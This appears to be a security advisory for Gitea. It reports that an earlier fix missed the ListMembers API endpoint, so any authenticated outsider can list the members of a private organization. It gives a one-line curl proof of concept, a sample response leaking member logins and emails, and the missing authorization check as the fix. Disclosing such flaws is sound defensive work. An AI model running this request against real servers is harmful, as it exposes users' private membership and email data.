Summary
PR #38145 fixed ListPublicMembers and IsPublicMember but missed
ListMembers. Any authenticated user can enumerate ALL members
(not just public ones) of a private organization.
Affected Versions
<= v1.26.4 (latest) and main branch
Root Cause
routers/api/v1/org/member.go — ListMembers():
// Missing check:
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}
Proof of Concept
Setup: privateorg (private), alice = member, bob = outsider
Bob lists ALL members of private org
curl -s "http://gitea/api/v1/orgs/privateorg/members"
-H "Authorization: token BOB TOKEN"
Result: HTTP 200
[{"login":"alice","email":"alice@test.com",...}]
Expected: HTTP 404
Note
This is an incomplete fix variant of PR #38145.
That PR fixed public members endpoints only.
ListMembers (/orgs/{org}/members) remains unpatched.
Fix
Add to ListMembers():
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}
Information Disclosure
Incorrect Authorization
